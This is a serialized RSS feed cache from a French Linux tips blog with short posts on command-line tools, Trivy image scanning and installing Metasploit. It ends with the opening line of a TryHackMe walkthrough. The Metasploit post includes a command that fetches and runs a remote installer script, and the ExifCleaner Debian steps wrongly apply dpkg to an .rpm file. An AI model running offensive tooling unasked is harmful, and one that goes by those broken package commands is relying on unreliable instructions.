<p><img src="https://azlinux.fr/uploads/2c83baa141c9384ffe51ff1d8dba03cb.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">gitui
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ul>
<li>Debian : <code>sudo apt install gitui</code></li>
<li>Fedora : <code>sudo yum install gitui</code></li>
</ul>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:67;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:39:"Bat un outil avec coloration syntaxique";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:59:"https://azlinux.fr/bat-un-outil-avec-coloration-syntaxique/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 03 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:59:"https://azlinux.fr/bat-un-outil-avec-coloration-syntaxique/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:749:"<img src="https://azlinux.fr/uploads/60016d753a5372b5c9caac95e86aea18.webp" alt="Featured image of post Bat un outil avec coloration syntaxique" /><h2 id="présentation">Présentation</h2>
<p><img src="https://azlinux.fr/uploads/b6de10cbf5b9f5b6692eec68d3e72bdf.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bat /lib/python3.10/site-packages/abrt_exception_handler3.py
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ul>
<li>Debian : <code>sudo apt install bat</code></li>
<li>Fedora : <code>sudo yum install bat</code></li>
</ul>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:68;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:47:"Comment changer la version de Java sur Fedora ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"https://azlinux.fr/changer-la-version-de-java-sur-fedora/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 01 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:57:"https://azlinux.fr/changer-la-version-de-java-sur-fedora/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:485:"<img src="https://azlinux.fr/uploads/f50a692e759607c41a328d8eaca48bfb.webp" alt="Featured image of post Comment changer la version de Java sur Fedora ?" /><p>Vous pouvez installer n&rsquo;importe quelle version de Java et la changer via cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo alternatives --config java
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:69;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:65:"Comment enregistrer l&#039;écran de votre téléphone portable ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:67:"https://azlinux.fr/enregistrer-l-ecran-de-votre-telephone-portable/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 30 Apr 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:67:"https://azlinux.fr/enregistrer-l-ecran-de-votre-telephone-portable/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2401:"<img src="https://azlinux.fr/uploads/ec3602f6d812a16af72008926136a86d.webp" alt="Featured image of post Comment enregistrer l'écran de votre téléphone portable ?" /><p>Si vous voulez enregistrer l&rsquo;écran de votre téléphone ou y accéder depuis votre PC, vous pouvez installer scrcpy qui est un petit outil en ligne de commande pour vous faciliter la vie. Vous pouvez probablement faire la même chose avec OBS, mais de manière moins pratique. Notez que vous pouvez utiliser votre écran comme une caméra externe afin de l&rsquo;intégrer dans un outil de vidéoconférence par exemple.</p>
<p>Avant de faire quoi que ce soit, vous devez activer le mode de débogage adb sur votre appareil Android, qui se trouve dans les paramètres de développement, puis connecter un câble qui recevra le flux vidéo ; notez qu&rsquo;il est également possible de ne pas connecter de câble.</p>
<p>Sur une distribution basée sur Debian, c&rsquo;est facile, car c&rsquo;est inclus dans le gestionnaire de paquets, mais si vous utilisez Fedora, vous devez utiliser ces commandes :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo yum copr <span class="nb">enable</span> zeno/scrcpy
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo yum install scrcpy
</span></span></code></pre></div><p>Et avec une distribution basée sur Debian, la commande est :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install scrcpy
</span></span></code></pre></div><p>Sinon, voici un exemple du résultat :</p>
<p><img src="https://azlinux.fr/uploads/03493ae3dddc3093c95d9e91a76301f2.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Et la commande qui permet de lancer l&rsquo;outil est simplement <code>scrcpy</code> ; vous pouvez également passer un grand nombre de paramètres après celui-ci lesquels sont disponibles sur la page GitHub du projet :</p>
<blockquote>
<p><a class="link" href="https://github.com/Genymobile/scrcpy"  target="_blank" rel="noopener"
    >https://github.com/Genymobile/scrcpy</a></p>
</blockquote>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:70;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:56:"Mettre en place Metasploit en quelques minutes seulement";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:30:"https://azlinux.fr/metasploit/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 30 Apr 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:30:"https://azlinux.fr/metasploit/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1349:"<img src="https://azlinux.fr/uploads/0fc5a68436a7b03dd1f9da34de6e4ab4.webp" alt="Featured image of post Mettre en place Metasploit en quelques minutes seulement" /><ol>
<li>Ouvrez un terminal et exécutez cette commande pour télécharger et lancer le script d&rsquo;installation de Metasploit :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl https://github.com/rapid7/metasploit-omnibus/raw/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &gt; msfinstall <span class="o">&amp;&amp;</span> <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="se"></span>  chmod <span class="m">755</span> msfinstall <span class="o">&amp;&amp;</span> <span class="se">\
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="se"></span>  ./msfinstall
</span></span></code></pre></div><ol start="2">
<li>Lorsque l&rsquo;installation est terminée, exécutez cette commande pour lancer Metasploit :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfconsole
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:71;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:46:"Utilisez trivy pour analyser vos images Docker";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"https://azlinux.fr/utilisez-trivy-pour-analyser-vos-images-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 30 Apr 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:66:"https://azlinux.fr/utilisez-trivy-pour-analyser-vos-images-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3128:"<img src="https://azlinux.fr/uploads/7de00f68cd34b6b874fb34d1e29d2268.webp" alt="Featured image of post Utilisez trivy pour analyser vos images Docker" /><p>Trivy est un outil qui vous permet de rechercher d&rsquo;éventuelles vulnérabilités dans les images Docker ou les dépôts Git.</p>
<h2 id="installation">Installation</h2>
<ol>
<li>Tout d&rsquo;abord, nous devons installer les dépendances nécessaires</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install apt-transport-https gnupg lsb-release
</span></span></code></pre></div><ol start="2">
<li>Maintenant nous devons ajouter la clé publique</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key <span class="p">|</span> sudo apt-key add -
</span></span></code></pre></div><ol start="3">
<li>Ajouter le dépôt Trivy</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">echo</span> deb https://aquasecurity.github.io/trivy-repo/deb <span class="k">$(</span>lsb_release -sc<span class="k">)</span> main <span class="p">|</span> sudo tee -a /etc/apt/sources.list.d/trivy.list
</span></span></code></pre></div><ol start="4">
<li>Enfin, nous pouvons mettre à jour le dépôt et procéder à l&rsquo;installation de Trivy</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install trivy
</span></span></code></pre></div><h2 id="analyse-des-images-docker">Analyse des images Docker</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">trivy image python:3.4-alpine
</span></span></code></pre></div><h2 id="analyse-dun-dépôt-git-distant">Analyse d&rsquo;un dépôt git distant</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">trivy repo https://github.com/knqyf263/trivy-ci-test
</span></span></code></pre></div><h2 id="sortie-du-rapport-au-format-json">Sortie du rapport au format JSON</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">trivy image -f json -o results.json golang:1.12-alpine
</span></span></code></pre></div><p>En résumé, il ne faut pas considérer que parce que l&rsquo;on utilise un service dans un conteneur, celui-ci est sécurisé car il peut y avoir de multiples failles de sécurité dans ces images Docker et le noyau utilisé, il faut donc penser à mettre à jour régulièrement ces conteneurs.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:72;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:51:"Comment afficher les vignettes WebP dans Nautilus ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:61:"https://azlinux.fr/afficher-les-vignettes-webp-dans-nautilus/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 29 Apr 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:61:"https://azlinux.fr/afficher-les-vignettes-webp-dans-nautilus/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:608:"<img src="https://azlinux.fr/uploads/37e8c5dec0ed2e573a0dbe6525aee24e.webp" alt="Featured image of post Comment afficher les vignettes WebP dans Nautilus ?" /><p>Si vous utilisez le format d&rsquo;image WebP et souhaitez afficher les vignettes dans l&rsquo;explorateur de fichiers Nautilus, il vous suffit d&rsquo;installer ce paquet en exécutant la commande ci-dessous :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo yum install webp-pixbuf-loader
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:73;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:57:"Faites une capture d&#039;écran facilement avec GNOME 42";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"https://azlinux.fr/faites-une-capture-d-ecran-facilement-avec-gnome-42/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 28 Apr 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:71:"https://azlinux.fr/faites-une-capture-d-ecran-facilement-avec-gnome-42/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:843:"<img src="https://azlinux.fr/uploads/5f761cb96f1925ac71c86dd7b1a89bf4.webp" alt="Featured image of post Faites une capture d'écran facilement avec GNOME 42" /><p>La version 42 de GNOME a été publiée il y a quelques jours. Elle présente un outil de capture d&rsquo;écran amélioré et inclut également un outil de capture vidéo.</p>
<p>La combinaison de touches permettant d&rsquo;accéder à cet outil est simplement la touche &ldquo;Imprimer&rdquo;.</p>
<p>Voici l&rsquo;exemple des trois modes en image et vous pouvez bien sûr capturer l&rsquo;écran comme une vidéo plutôt qu&rsquo;une capture d&rsquo;écran.</p>
<p><img src="https://azlinux.fr/uploads/8ce3b31dba6acd763703071b5dc8d721.webp"
	
	
	
	loading="lazy"
	
	
> <img src="https://azlinux.fr/uploads/55217c884660bb9b9abe37878fe82ad5.webp"
	
	
	
	loading="lazy"
	
	
></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:74;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:63:"Comment supprimer les métadonnées contenues dans vos images ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"https://azlinux.fr/supprimer-les-metadonnees-contenues-dans-vos-images/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 27 Apr 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:71:"https://azlinux.fr/supprimer-les-metadonnees-contenues-dans-vos-images/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2819:"<img src="https://azlinux.fr/uploads/8aed5242a0f0451263a901c0f48583a7.webp" alt="Featured image of post Comment supprimer les métadonnées contenues dans vos images ?" /><p>Si vous souhaitez supprimer les métadonnées contenues dans vos images, ExifCleaner est fait pour vous : il prend en charge un grand nombre de formats d&rsquo;images, il est possible de l&rsquo;installer sur n&rsquo;importe quelle distribution et il prend même en charge les fichiers vidéos et PDF.</p>
<p>Voici la page d&rsquo;accueil du service : il vous suffit de glisser-déposer votre image ou de l&rsquo;importer et le traitement commence :</p>
<p><img src="https://azlinux.fr/uploads/a9a5760917f24dc64944b28634b07b96.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installer-le-logiciel-exifcleaner">Installer le logiciel ExifCleaner</h2>
<ul>
<li>Debian :</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget <span class="k">$(</span>curl -s https://api.github.com/repos/szTheory/exifcleaner/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[8] | .browser_download_url&#39;</span><span class="k">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dpkg -i exifcleaner-3.6.0.x86_64.rpm
</span></span></code></pre></div><ul>
<li>Fedora :</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget <span class="k">$(</span>curl -s https://api.github.com/repos/szTheory/exifcleaner/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[5] | .browser_download_url&#39;</span><span class="k">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo rpm -i exifcleaner-3.6.0.x86_64.rpm
</span></span></code></pre></div><h2 id="désinstaller-le-logiciel-exifcleaner">Désinstaller le logiciel ExifCleaner</h2>
<ul>
<li>Debian :</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dpkg -e exifcleaner-3.6.0.x86_64.rpm
</span></span></code></pre></div><ul>
<li>Fedora :</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo rpm -e exifcleaner-3.6.0.x86_64.rpm
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:75;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:68:"Tautulli un outil de surveillance et de suivi pour Plex Media Server";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:88:"https://azlinux.fr/tautulli-un-outil-de-surveillance-et-de-suivi-pour-plex-media-server/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 26 Apr 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:88:"https://azlinux.fr/tautulli-un-outil-de-surveillance-et-de-suivi-pour-plex-media-server/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3555:"<img src="https://azlinux.fr/uploads/272d2805564add1719b2d9e183856616.webp" alt="Featured image of post Tautulli un outil de surveillance et de suivi pour Plex Media Server" /><p>Si vous utilisez Plex comme service de streaming, vous pouvez installer Tautulli pour savoir quel contenu est regardé sur votre serveur multimédia, surveiller la bande passante utilisée et bien d&rsquo;autres choses.</p>
<p>Voici une présentation de l&rsquo;interface de l&rsquo;outil qui est basé sur Python :</p>
<p><img src="https://azlinux.fr/uploads/ac787e1c389a7fe082b2240a87e2bf25.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Dans un terminal, exécutez les commandes suivantes :</p>
<ol>
<li>Assurez-vous d&rsquo;installer les paquets nécessaires :</li>
</ol>
<ul>
<li>Debian: <code>sudo apt install git python3 python3-setuptools</code></li>
<li>Fedora: <code>sudo yum install git python3 python3-setuptools</code></li>
</ul>
<ol start="2">
<li>
<p>Allez dans le répertoire <code>/opt</code>.</p>
</li>
<li>
<p>Clonez le projet Tautulli depuis GitHub :</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo git clone https://github.com/Tautulli/Tautulli
</span></span></code></pre></div><ol start="4">
<li>Ajouter l&rsquo;utilisateur Tautulli :</li>
</ol>
<ul>
<li>Debian: <code>sudo addgroup tautulli &amp;&amp; sudo adduser --system --no-create-home tautulli --ingroup tautulli</code></li>
<li>Fedora: <code>sudo adduser --system --no-create-home tautulli</code></li>
</ul>
<ol start="5">
<li>Donnez les droits d&rsquo;accès au dossier à l&rsquo;utilisateur Tautulli :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo chown -R tautulli:tautulli /opt/Tautulli
</span></span></code></pre></div><ol start="6">
<li>Copiez le script de démarrage avant de l&rsquo;activer :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo cp /opt/Tautulli/init-scripts/init.systemd /lib/systemd/system/tautulli.service
</span></span></code></pre></div><ol start="7">
<li>Activez le service :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo systemctl daemon-reload <span class="o">&amp;&amp;</span> sudo systemctl <span class="nb">enable</span> tautulli.service
</span></span></code></pre></div><ol start="8">
<li>Exécutez cette commande pour démarrer Tautulli :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo systemctl start tautulli.service
</span></span></code></pre></div><ol start="9">
<li>Vous pouvez maintenant vous rendre sur Tautulli en tapant l&rsquo;URL dans votre navigateur <a class="link" href="http://localhost:8181"  target="_blank" rel="noopener"
    >http://localhost:8181</a>.</li>
</ol>
<p>Vous pouvez également exécuter cet outil via Docker :</p>
<blockquote>
<p><a class="link" href="https://github.com/Tautulli/Tautulli/wiki/Installation#docker"  target="_blank" rel="noopener"
    >https://github.com/Tautulli/Tautulli/wiki/Installation#docker</a></p>
</blockquote>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:76;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:11:"Smag Grotto";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:31:"https://azlinux.fr/smag-grotto/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 19 Apr 2022 20:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:31:"https://azlinux.fr/smag-grotto/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4786:"<img src="https://azlinux.fr/uploads/9bb0d72deccee46be9ea72cbdf51f956.webp" alt="Featured image of post Smag Grotto" /><p>Voici la solution pour la machine Smag Grotto sur TryHackMe. Tout d&rsquo;abord, nous allons lancer un scan pour voir quels ports sont ouverts sur la machine.</p>
